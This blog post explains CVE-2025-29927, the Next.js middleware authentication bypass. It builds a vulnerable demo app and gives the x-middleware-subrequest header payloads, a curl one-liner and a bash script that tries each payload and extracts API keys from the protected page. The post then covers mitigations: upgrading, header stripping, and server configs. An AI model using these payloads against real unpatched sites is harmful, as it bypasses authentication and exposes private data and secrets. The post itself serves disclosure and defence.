As an AI consultant specializing in application security, I'm frequently tasked with helping teams understand and mitigate emerging vulnerabilities. The recent CVE-2025-29927 affecting Next.js middleware presents a particularly concerning issue for many modern web applications. This post documents my practical approach to reproducing, exploiting, and mitigating this vulnerability.
Understanding the Next.js Middleware Authentication Bypass Vulnerability
CVE-2025-29927 is a critical authentication bypass vulnerability (CVSS 9.1) in Next.js middleware that allows attackers to bypass security controls by manipulating the internal x-middleware-subrequest header. This vulnerability affects multiple Next.js versions:
- Next.js 11.1.4 through 13.5.6 (requires workaround)
- Next.js 14.x before 14.2.25 (fixed in 14.2.25+)
- Next.js 15.x before 15.2.3 (fixed in 15.2.3+)
The vulnerability exploits a design flaw in how Next.js handles middleware execution. By manipulating the x-middleware-subrequest header, attackers can essentially trick the application into believing that middleware has already been executed or should be skipped entirely.
Building a Next.js Security Vulnerability Proof-of-Concept
To thoroughly understand this vulnerability, I built a minimal Next.js application using the modern App Router architecture. The example implementation includes a basic authentication system with protected admin routes - precisely the type of setup that would be vulnerable in real-world scenarios.
Vulnerable App Router Project Structure
The project uses Next.js 14.0.0, which is vulnerable to this issue:
/app
/dashboard
/admin
page.js # Protected admin dashboard
layout.js # Root layout
page.js # Home page with login form
/middleware.js # Auth middleware (vulnerable)
/header-stripper.js # Mitigation implementationExploitable Next.js Authentication Middleware
The middleware implementation is straightforward - it checks for an authentication cookie and redirects unauthenticated users:
// middleware.js
import { NextResponse } from 'next/server';
export function middleware(request) {
const authCookie = request.cookies.get('auth');
const url = request.nextUrl.clone();
// Check if this is a request for the protected dashboard
if (url.pathname.startsWith('/dashboard')) {
// If no auth cookie or invalid auth cookie, redirect to login
if (!authCookie || authCookie.value !== 'admin') {
console.log('Authentication failed, redirecting to login');
url.pathname = '/';
return NextResponse.redirect(url);
}
}
// Continue with the request if authentication passes or not required
return NextResponse.next();
}
// Configure which paths the middleware should run on
export const config = {
matcher: ['/dashboard/:path*'],
}This implementation represents a typical authentication middleware pattern. When functioning correctly, any unauthenticated request to /dashboard/admin would be redirected to the login page.
Exploiting the Next.js Middleware Header Vulnerability
With our vulnerable application in place, I created an automated script that demonstrates the exploit in action.
Next.js Authentication Bypass Exploit Process
The vulnerability can be triggered with a simple HTTP request:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/dashboard/adminThis command bypasses the authentication redirect and returns the protected admin dashboard HTML, complete with any sensitive data it contains.
Effective Header Payload Variants for Middleware Bypass
During testing, I discovered several header payload variations that successfully exploit this vulnerability:
middleware
src/middleware
middleware:middleware:middleware:middleware:middleware
pages/_middleware
src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middlewareThe last payload is particularly interesting as it combines multiple paths and special values to maximize the chances of success across different Next.js versions.
Automated Security Testing for Next.js Middleware
I created a comprehensive bash script (auto-exploit.sh) that automates the entire process of building the application, testing normal functionality, attempting multiple exploit payloads, and validating successful exploits:
#!/bin/bash
# Snippet from auto-exploit.sh
# Array of different payloads to try
payloads=(
"middleware"
"src/middleware"
"middleware:middleware:middleware:middleware:middleware"
"pages/_middleware"
"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
)
# For each payload
for payload in "${payloads[@]}"; do
echo -e "${YELLOW}[*] Trying payload: ${CYAN}${payload}${NC}"
# Make the request with the exploit header
exploit_response=$(curl -s -H "x-middleware-subrequest: $payload" "http://localhost:3000/dashboard/admin")
# Check if exploit was successful
if [[ "$exploit_response" == *"Admin Dashboard"* && "$exploit_response" == *"Sensitive User Data"* ]]; then
echo -e "${GREEN}[✓] EXPLOIT SUCCESSFUL with payload: ${CYAN}${payload}${NC}"
# Extract sensitive data as proof of successful exploit
api_keys=$(echo "$exploit_response" | grep -o "sk_live_[a-z0-9]*")
echo -e "${RED}[!] Extracted sensitive API keys:${NC}"
echo "$api_keys"
success=true
break
fi
doneThis script provides an effective way to demonstrate the vulnerability and verify successful exploitation by extracting sensitive information from the protected page.
Practical Security Mitigations for Next.js Applications
There are several approaches to mitigate this vulnerability, ranging from temporary workarounds to permanent fixes:
1. Updating to Secure Next.js Versions
The most straightforward mitigation is updating to the latest patched version:
npm install next@latest
# OR for specific version
npm install next@14.2.25This is always the preferred approach when possible, as it contains the official fixes from the Next.js team.
2. Header Stripping Security with Node.js
For cases where immediate updating isn't feasible, a Node.js module can be created to strip the vulnerable header:
// header-stripper.js
const originalHttp = require('http');
const originalCreateServer = originalHttp.createServer;
// Override the http.createServer method to add header stripping
originalHttp.createServer = function(options, requestListener) {
const server = originalCreateServer.call(this, options, requestListener);
const originalEmit = server.emit;
server.emit = function(type, ...args) {
if (type === 'request' && args[0] && args[0].headers) {
const req = args[0];
if (req.headers['x-middleware-subrequest']) {
console.log('⚠️ BLOCKED ATTACK! x-middleware-subrequest header detected');
delete req.headers['x-middleware-subrequest'];
}
}
return originalEmit.apply(this, [type, ...args]);
};
return server;
};This can be loaded using Node's -r flag:
NODE_OPTIONS='-r ./header-stripper.js' next start3. Web Server Header Security Configuration
For applications behind Nginx or Apache, server configurations can strip the header:
# Nginx configuration
proxy_set_header x-middleware-subrequest "";# Apache configuration
RequestHeader unset x-middleware-subrequest4. Express Middleware Security Layer
For applications using Express custom server:
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});Conclusion: Securing Your Next.js Application Against Middleware Vulnerabilities
CVE-2025-29927 demonstrates the critical importance of validating and sanitizing internally-used headers in web frameworks. The ease with which this vulnerability can be exploited (a single HTTP header) combined with its severe impact (complete authentication bypass) makes it particularly dangerous.
The most effective approach is to update to patched versions, but the header-stripping solutions provide effective temporary mitigations where immediate updates aren't possible.
By combining understanding of the vulnerability with practical exploitation and mitigation techniques, development teams can better protect their Next.js applications from this critical security issue.
The author is an AI consultant and fractional CTO specializing in application security and modern web development frameworks.